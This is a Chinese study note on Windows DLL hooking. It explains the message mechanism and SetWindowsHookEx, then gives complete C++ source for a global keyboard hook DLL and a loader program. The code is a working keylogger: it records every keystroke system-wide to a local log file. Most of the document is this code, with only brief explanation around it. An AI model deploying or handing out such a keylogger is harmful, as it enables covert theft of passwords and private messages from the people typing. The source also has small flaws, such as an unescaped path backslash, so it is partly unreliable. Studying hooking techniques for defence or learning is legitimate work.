学习记录1

DLL钩取

钩取就是在系统和应用之间设立岗哨，偷窥或截取消息的手段。
钩取不适用的情况：应用不受事件驱动。
为什么能实现钩取？
原因：
第一、windows的消息机制

msg.jpg
第二、windows自带的API SetWindowsHookEx()
setwindowshook.jpg
代码
KeyHook.cpp

//注:64位dll 只能钩取64位进程 32位dll 只能钩取32位进程
#include "stdio.h"
#include "windows.h"

#define DEF_PROCESS_NAME        "notepad.exe"

HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
    switch( dwReason )
    {
        case DLL_PROCESS_ATTACH:
            g_hInstance = hinstDLL;
            break;

        case DLL_PROCESS_DETACH:
            break;  
    }

    return TRUE;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    FILE *fl;
    char szPath[MAX_PATH] = {0,};
    char *p = NULL;
    char ch;
    if( nCode == HC_ACTION )
    {
        // bit 31 : 0 => press, 1 => release
        if( lParam & 0x40000000 )
        {
            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>0x2f&&wParam<=0xDE))
            {
                fl = fopen("D:\log.txt","a");//必须是绝对地址
                if (wParam==VK_RETURN)
                        ch='\n';
                else
                  {
                        BYTE ks[256];
                        GetKeyboardState(ks);
                        WORD w;
                        UINT scan=0;
                        ToAscii(wParam,scan,ks,&w,0);
                        ch =char(w); 
                  }
                fputc(ch,fl);
                fclose(fl);
            }
        }
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
    __declspec(dllexport) void HookStart()
    {
        g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
    }

    __declspec(dllexport) void HookStop()
    {
        if( g_hHook )
        {
            UnhookWindowsHookEx(g_hHook);
            g_hHook = NULL;
        }
    }
#ifdef __cplusplus
}
#endif

HookMain.cpp

#include "stdio.h"
#include "conio.h"
#include "windows.h"

#define DEF_DLL_NAME        "KeyHook.dll"
#define DEF_HOOKSTART       "HookStart"
#define DEF_HOOKSTOP        "HookStop"

typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();

void main()
{
    HMODULE         hDll = NULL;
    PFN_HOOKSTART   HookStart = NULL;
    PFN_HOOKSTOP    HookStop = NULL;
    char            ch = 0;

    hDll = LoadLibraryA(DEF_DLL_NAME);
    if( hDll == NULL )
    {
        printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError());
        return;
    }

    HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
    HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);

    HookStart();

    printf("press 'q' to quit!\n");
    while( _getch() != 'q' )    ;

    HookStop();

    FreeLibrary(hDll);
}